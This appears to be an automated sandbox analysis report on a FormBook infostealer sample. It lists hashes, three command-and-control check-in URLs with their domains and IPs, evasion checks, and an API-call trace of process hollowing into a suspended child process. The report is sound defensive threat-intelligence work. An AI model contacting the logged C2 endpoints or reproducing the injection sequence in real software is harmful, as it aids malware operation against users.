Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	Aug. 7, 2023, 8:43 a.m.	Aug. 7, 2023, 8:56 a.m.

Size	603.0KB
Type	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5	`d1c67a8d11b99696527984f91ce9571f`
SHA256	`17da5b241a7c1a77d644c46063b11af84dbf96b2986e4c4c0b9b56c1689ae524`
CRC32	`24AC0CB6`
ssdeep	`12288:Q+1vYQvjOXjjpjADB11g/3EBBx8h8aGl1p/7veXuVwZK7FTNic:Q+11OXdUBU3Thelr/bjVwZKac`
PDB Path	UCxVkJ.pdb
Yara	Is_DotNET_EXE - (no description) PE_Header_Zero - PE File Signature IsPE32 - (no description)

owenzx.exe "C:\Users\test22\AppData\Local\Temp\owenzx.exe"
416
- owenzx.exe "C:\Users\test22\AppData\Local\Temp\owenzx.exe"
  2580

Name	Response	Post-Analysis Lookup
www.fxphones.com	A 76.223.54.146 A 13.248.169.48	13.248.169.48
www.zqgf529.com	A 172.67.176.126 A 104.21.31.119	172.67.176.126
www.tommybcarpentry.com	CNAME tommybcarpentry.com A 34.102.136.180	34.102.136.180

IP Address	Status	Action
104.21.31.119	Active	Moloch
164.124.101.2	Active	Moloch
34.102.136.180	Active	Moloch
76.223.54.146	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49166 -> 34.102.136.180:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49167 -> 104.21.31.119:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected
TCP 192.168.56.103:49165 -> 76.223.54.146:80	2031412	ET MALWARE FormBook CnC Checkin (GET)	Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Aug. 7, 2023, 8:43 a.m.			0	0
IsDebuggerPresent Aug. 7, 2023, 8:43 a.m.			0	0

This executable has a PDB path (1 event)

pdb_path

UCxVkJ.pdb

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 7, 2023, 8:43 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (3 events)

suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.fxphones.com/ge83/?uTuD=dutfo2jPxvj1WOO8lT3X46PXeruLDGk4GIPLTA+1FdBceEacxR+vVx+tnRg7elNjWLO8USK4&Kj6ly=ATPddxOp02iTrlL0
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.tommybcarpentry.com/ge83/?uTuD=4l1dgt6EqJfDtjFFl8HEiOm9OdrxJ3x3R23fkyRuAcDEYyPOkg50wBw+bbg4lJJkpPSBxSQs&Kj6ly=ATPddxOp02iTrlL0
suspicious_features	GET method with no useragent header	suspicious_request	GET http://www.zqgf529.com/ge83/?uTuD=xP2bwfOv2vpCt0xlFavLXdTEag9kTo/lay+lErW/aYJe6onvGjWkrhTcHwah5PuetW529ZI1&Kj6ly=ATPddxOp02iTrlL0

Performs some HTTP requests (3 events)

request	GET http://www.fxphones.com/ge83/?uTuD=dutfo2jPxvj1WOO8lT3X46PXeruLDGk4GIPLTA+1FdBceEacxR+vVx+tnRg7elNjWLO8USK4&Kj6ly=ATPddxOp02iTrlL0
request	GET http://www.tommybcarpentry.com/ge83/?uTuD=4l1dgt6EqJfDtjFFl8HEiOm9OdrxJ3x3R23fkyRuAcDEYyPOkg50wBw+bbg4lJJkpPSBxSQs&Kj6ly=ATPddxOp02iTrlL0
request	GET http://www.zqgf529.com/ge83/?uTuD=xP2bwfOv2vpCt0xlFavLXdTEag9kTo/lay+lErW/aYJe6onvGjWkrhTcHwah5PuetW529ZI1&Kj6ly=ATPddxOp02iTrlL0

Allocates read-write-execute memory (usually to unpack itself) (27 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 1507328 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00620000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00750000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 1835008 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00522000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00555000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0055b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00557000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0052a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0054a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00547000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00546000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0052c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0053d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 416 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00ab7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 2580 region_size: 3158016 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0xffffffff	1

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00096200', u'virtual_address': u'0x00002000', u'entropy': 7.962295160686005, u'name': u'.text', u'virtual_size': u'0x0009606c'}

entropy

7.96229516069

description

A section with a high entropy has been found

entropy

0.996680497925

description

Overall entropy of this PE file is high

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW Aug. 7, 2023, 8:43 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Yara rule detected in process memory (8 events)

description	Used Formbook[m]	rule	Win_Trojan_Formbook_m_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Bypass DEP	rule	disable_dep

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 2580 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000250	1	0	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Aug. 7, 2023, 8:43 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELù;r:à ÒPðð@ð@.text´ÐÒ ` base_address: 0x00400000 process_identifier: 2580 process_handle: 0x00000250	1	1	0
WriteProcessMemory Aug. 7, 2023, 8:43 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2580 process_handle: 0x00000250	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory Aug. 7, 2023, 8:43 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELù;r:à ÒPðð@ð@.text´ÐÒ ` base_address: 0x00400000 process_identifier: 2580 process_handle: 0x00000250	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 416 called NtSetContextThread to modify thread in remote process 2580
NtSetContextThread Aug. 7, 2023, 8:43 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321360 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000024c process_identifier: 2580	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 416 resumed a thread in remote process 2580
NtResumeThread Aug. 7, 2023, 8:43 a.m.	thread_handle: 0x0000024c suspend_count: 1 process_identifier: 2580	1	0	0

Executed a process and injected code into it, probably while unpacking (12 events)

Time & API	Arguments	Status	Return
NtResumeThread Aug. 7, 2023, 8:43 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 416	1	0
NtResumeThread Aug. 7, 2023, 8:43 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 416	1	0
NtResumeThread Aug. 7, 2023, 8:43 a.m.	thread_handle: 0x00000194 suspend_count: 1 process_identifier: 416	1	0
NtResumeThread Aug. 7, 2023, 8:43 a.m.	thread_handle: 0x00000244 suspend_count: 1 process_identifier: 416	1	0
CreateProcessInternalW Aug. 7, 2023, 8:43 a.m.	thread_identifier: 2584 thread_handle: 0x0000024c process_identifier: 2580 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\owenzx.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\owenzx.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000250	1	1
NtGetContextThread Aug. 7, 2023, 8:43 a.m.	thread_handle: 0x0000024c	1	0
NtAllocateVirtualMemory Aug. 7, 2023, 8:43 a.m.	process_identifier: 2580 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000250	1	0
WriteProcessMemory Aug. 7, 2023, 8:43 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELù;r:à ÒPðð@ð@.text´ÐÒ ` base_address: 0x00400000 process_identifier: 2580 process_handle: 0x00000250	1	1
WriteProcessMemory Aug. 7, 2023, 8:43 a.m.	buffer: base_address: 0x00401000 process_identifier: 2580 process_handle: 0x00000250	1	1
WriteProcessMemory Aug. 7, 2023, 8:43 a.m.	buffer: @ base_address: 0x7efde008 process_identifier: 2580 process_handle: 0x00000250	1	1
NtSetContextThread Aug. 7, 2023, 8:43 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321360 registers.ebp: 0 registers.edx: 0 registers.ebx: 2130567168 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000024c process_identifier: 2580	1	0
NtResumeThread Aug. 7, 2023, 8:43 a.m.	thread_handle: 0x0000024c suspend_count: 1 process_identifier: 2580	1	0

owenzx.exe

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